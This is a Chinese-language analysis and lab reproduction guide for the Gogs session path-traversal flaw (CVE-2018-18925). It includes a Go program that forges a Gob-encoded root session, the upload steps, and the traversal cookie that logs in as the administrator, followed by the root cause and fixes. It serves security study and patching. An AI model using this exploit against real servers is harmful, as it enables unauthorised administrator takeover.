Gogs 任意用户登录漏洞分析报告
字数 1498 2025-08-18 11:38:52
Gogs 任意用户登录漏洞分析与复现指南
一、漏洞背景
Gogs 是一款类似 GitHub 的开源文件/代码管理系统(基于 Git),其目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务。Gogs 使用 Go 语言开发,能够通过独立的二进制分发,支持 Linux、Mac OS X、Windows 以及 ARM 平台。
二、漏洞描述
在 Gogs 0.11.66 及之前版本中,go-macaron/session 库存在一个严重的安全漏洞:
- 没有对 sessionid 进行有效校验
- 攻击者可以利用恶意 sessionid 读取任意文件
- 通过控制文件内容来控制 session 内容
- 最终实现登录任意账户
三、影响版本
- Gogs 0.11.66 及之前的所有版本
四、漏洞复现步骤
1. 环境搭建
使用 Docker 搭建漏洞环境:
# 克隆 vulhub 上的 gogs 环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gogs/CVE-2018-18925
# 启动 gogs 环境
docker-compose up -d
2. 安装配置
- 访问
http://[your-ip]:3000/install进入安装页面 - 选择 sqlite 数据库
- 确保开启用户注册功能
- 完成安装
3. 生成恶意 session 文件
使用 Go 语言的 Gob 序列化生成 session 文件 data。可参考以下代码:
package main
import (
"bytes"
"encoding/gob"
"os"
)
type Session struct {
ID int64
Uid int64
Data map[string]interface{}
Created int64
Updated int64
}
func main() {
s := Session{
ID: 1234567890,
Uid: 1, // 管理员用户ID通常为1
Data: map[string]interface{}{
"_old_uid": "1",
"uid": int64(1),
"uname": "root", // 管理员用户名通常为root
},
Created: 1540000000,
Updated: 1540000000,
}
var buf bytes.Buffer
enc := gob.NewEncoder(&buf)
err := enc.Encode(s)
if err != nil {
panic(err)
}
err = os.WriteFile("data", buf.Bytes(), 0644)
if err != nil {
panic(err)
}
}
4. 上传 session 文件
- 注册一个普通用户账户
- 创建一个项目
- 在"版本发布"页面上传生成的
data文件 - 记录返回的文件路径,如:
./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10
5. 构造恶意 Cookie
根据上传的文件路径构造 Cookie:
i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10
6. 利用漏洞
使用构造的 Cookie 访问 Gogs,即可发现已经成功登录 ID=1 的 root 管理员账户。
五、漏洞原理分析
1. 漏洞成因
- Session 验证缺失:go-macaron/session 库没有对 sessionid 进行有效校验
- 路径遍历:攻击者可以通过构造特殊路径访问任意文件
- Session 伪造:通过控制文件内容可以伪造任意用户的 session
2. 利用条件
- 攻击者可以上传任意文件(通过 release 功能)
- 知道目标用户的 UID 和用户名(通过 explore 功能获取)
- 能够构造有效的 Gob 编码的 session 文件
3. 文件路径分析
- Session 存储路径:
data/sessions/sid[0]/sid[1]/sid - 附件存储路径:
data/attachments/fid[0]/fid[1]/fid - 路径遍历:通过
../可以跳转到 attachments 目录
4. 详细利用流程
- 生成伪造的 session 文件(Gob 编码)
- 通过 release 功能上传到 attachments 目录
- 构造包含路径遍历的 sessionid
- Gogs 解析 sessionid 时读取伪造的 session 文件
- 服务器使用伪造的 session 信息认证用户
六、修复建议
-
升级版本:
- 从 GitHub 下载并编译 develop 分支
- 或升级至最新版本的 Gogs
-
临时缓解措施:
- 禁用匿名用户注册
- 限制 release 功能的使用权限
- 监控异常 session 活动
-
代码层面修复:
- 对 sessionid 进行严格校验
- 防止路径遍历攻击
- 加强文件访问权限控制
七、参考资源
注意:本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。